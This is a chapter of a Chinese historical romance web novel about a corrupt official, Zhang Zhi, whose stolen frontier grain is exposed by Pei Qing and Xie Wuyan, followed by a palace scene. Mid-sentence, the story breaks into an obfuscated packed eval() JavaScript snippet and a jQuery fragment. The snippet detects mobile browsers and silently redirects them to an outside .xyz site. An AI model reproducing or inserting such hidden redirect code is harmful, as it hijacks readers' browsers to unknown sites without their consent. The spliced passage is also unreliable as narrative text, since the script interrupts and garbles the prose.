两鬓隐有白发,大腹便便的男人两眼瞪直,惊得马上披衣下了榻,他呼吸急促,“什么?你们还不快去救火。”
躺在榻上的美人儿跟着披上轻纱,柔声抚慰,“老爷,您且莫要着急,免得伤了身体。”
听着美人娇娇柔柔的声音,张直面色稍稍缓和了下,可下一刻,张直似是想到了什么,猛地上前拽住管家的衣襟,“后院着火?是哪个院子。”
管家愣了一下,急急解释,“这……奴才也不知道啊。”
“简直饭桶。”张直嫌弃的看了他一眼,袖袍一甩,大步流星往外走。
恰好温婉大方的张夫人出现在张直面前,两名小丫鬟帮她提着灯笼,她一脸的喜形于色,“老爷,这火来得蹊跷,不过好在下人救得及时,火已经被扑灭了。”
“你可知是哪个院子着火?”但张直脸色还是如阴云密布,他脚步立定,问她。
张夫人还沉浸在大火被扑灭的欢喜中,掩唇一笑,“回老爷,是库房着了火,不过好在老爷有先见之明,将那些金银首饰都藏起来了,库房里不是什么都没有吗……”
张大人一口老血险些没喷出来,他目眦欲裂,连路都走不稳了,他脑海里只有两个大字——
完了。
他这下是真要完了,库房着火,那些粮草被烧了个一干二净,他该如何跟太子殿下交代啊。
张直脸色瞬间变得阴沉,目光狠辣,今夜的事情若不是有人故意为之,他是不信的,就是不知这背后之人是谁了,张直冷声下令,“传本官之令,即刻封锁随州城门,无本官的命令,任何人不得出入随州。”
“还有那些看守的人呢?”
为了这一批粮草,张直特意派了许多人看守仓库,另加两名武功高强的暗卫,出事了,那人呢,都死哪里去了。
腿还在打颤的下人马上过来了,他兢兢战战地小声开口,称那些看守的人还昏迷不醒,但是那两名暗卫不见了。
“不见了?”张直一口老血真要呕出来了,看来今晚他是真招了暗算,只是这背后之人如此神出鬼没,究竟是谁呢。
难道是那两个老贼察觉到是他动的手,所以卷土重来了,那要是一早就有察觉,为何会将这事上报给朝廷,一早就卷土重来不就成了。
“明日一大早,随我去城门口。”张直恨得心都在滴血,不断抚着心口,他就不信他抓不住这背后之人。
与此同时,随州城层楼叠榭的驿馆后院,雕刻了飞鹤的亭子上坐着两个风华出众的年轻公子,一人温润如玉,一人姿态肆意慵懒。
裴卿的贴身侍卫将清点好的册子递给自己主子,道:“公子,谢郎君,粮草已全部清点完毕,不多不少,另外,这是属下方才在官府找到的部分卷宗,上面好几桩案子都是没有确凿的人证跟物证就签字画押,草草结案了。”
裴卿皱眉,“这个张直,当真以为天高皇帝远他就可以为非作歹了,享朝廷俸禄却不给朝廷办事。”
不过有了这些证据,剩下的事就好办了。
谢无宴抬了抬手,揭开银色面具,露出清隽如玉的容颜,他墨发飘扬,恍如不沾凡尘的仙人,他拿起酒壶,给对面之人倒了一杯酒,“今晚的事情,多谢裴三公子。”
“谢郎君客气了。”裴卿微微挑了挑眉,将盛满酒的瓷盏接了过来,他人懒洋洋地靠在靠在柱子上,笑说道:“事情已经都解决了,不知谢郎君接下来打算怎么做?”
事情已经出了半个月,依然不见朝廷有所动作,但粮草弄丢跟运送粮草的人总是脱不了干系,若是他们不能将真正的罪魁祸首押送入京,那朱大人跟慕家家主慕翊肯定要担起这个罪责。
“谢氏一族被流放,无宴自是不能出现在随州城,所以此事还需要借裴家之手,这次,是无宴欠裴公子一个人情。”谢无宴凤眸狭长,语气清浅。
“谢郎君这是说的哪里话,我裴卿虽说没有鸿鹄之志,但也容忍不了小人在我眼皮子底下作崇,既是天下同归而殊途,一致而百虑[1],哪里就需要谢郎君还人情了。”裴卿扯唇一笑,浑身放松地靠在柱子上,不过饮完一杯酒,裴卿还是漫不经心地开口:“大半年前国舅府举族流放,温姑娘一介女子追随谢郎君来到边关,这份坚韧跟果敢让人动容,还望谢郎君莫要辜负她才是。”
谢无宴神色深了几分,像夜色般浓稠,他面容温润雅致,“这是自然。”
谢无宴永远不会辜负温棠。
裴卿笑笑,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883100|176374||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
手臂一伸,给自己面前的酒盏满上,“那这杯酒,在下敬谢郎君。”
剩下的事情,都将由河东裴氏出面解决。
因着库房的粮草被一把火给烧没了,张直半宿没睡,焦头烂额,他其实想将这个秘密给烂在肚子里,但他心里跟明镜似的,这些粮草其实是被人偷偷地转移了,所以他必须将这个背后之人给抓住,只有杀了对方,这个秘密才可能真正被烂在肚子里,而且不会影响到京城里的太子殿下。
只是过了一上午,依旧不见随州城有什么动静,想了想,张直决定亲自去城门口,说不定会有意外之喜,他还没绕出后院,一个小厮在他面前跪下,“大人,裴三公子来了。”
裴三公子……
他怎么这个时候来了,张直一脸苦恼,眼下他哪有时间招待裴三公子,他大步往外走,而姿态翩翩如风,眼角还有泪痣的少年郎摇着折扇出现在画廊的尽头,裴卿语调微微上扬,透着一股子清闲,“张大人这是要去哪啊?”
“裴三公子,本官正要出门办事,不若先让本官的夫人招待裴三公子。”
“我听说张大人让人封闭了随州城门,不知张大人可是得了召令,还是今日有敌军要攻打随州城?”
张直只是一个地方官员,还不敢在裴卿面前拿乔,他故作悲伤道:“裴三公子有所不知,昨夜我府中进了贼人,他将我那库房里的金银财宝一把火给烧了,那些个金银财宝或许裴三公子不在意,但于下官而言已是全部的家当,裴三公子说,在下是不是必须抓住那贼人?”
“盗窃金银珠宝,那是要抓住那贼人。”裴卿故作惊讶地点了点头,张直刚想高兴,下一刻他脸色一片煞白,因为裴卿似笑非笑地问:“要是那贼人就是本公子呢?”
张直讪笑一声,“裴三公子莫要开玩笑了。”
“张直,你在随州城为官三年,手下的冤案不计其数,此番竟还敢劫京城运送到边关的粮草,当真是胆大妄为,此事我已经上报给朝廷。”裴卿拇指放在扇柄上,神色一瞬间冷凝,世家公子的气度显露无疑,“来人,即刻将张大人押送回京,等待圣上处置。”
“你敢。”张直被他气得脸红脖子粗,一副宁死不从的架势。
裴卿冷嗤了一声,挥了挥手,“动手。”
===
金碧辉煌、傍晚残阳似血的坤宁宫,一貌美婢女称有事禀报贵妃娘娘,李公公一甩拂尘,表情有些为难,“舒儿姑娘,并非老奴不禀报,实在是贵妃娘娘歇息时不让人打扰。”
贵妃娘娘的脾气,满宫上下都知,李公公哪敢在贵妃娘娘歇息的时候去触贵妃娘娘的霉头。
“可是……”婢女踮起脚尖,在李公公耳边道一句。
“什么?”李公公尖叫出声,用拂尘点了下她的脑袋,“你傻啊,那你通知贵妃娘娘干什么,快去通知太子殿下。”
“奴婢这就去。”
李公公正了正衣冠,硬着头皮在殿门口小声喊:“贵妃娘娘,老奴有一要事禀报。”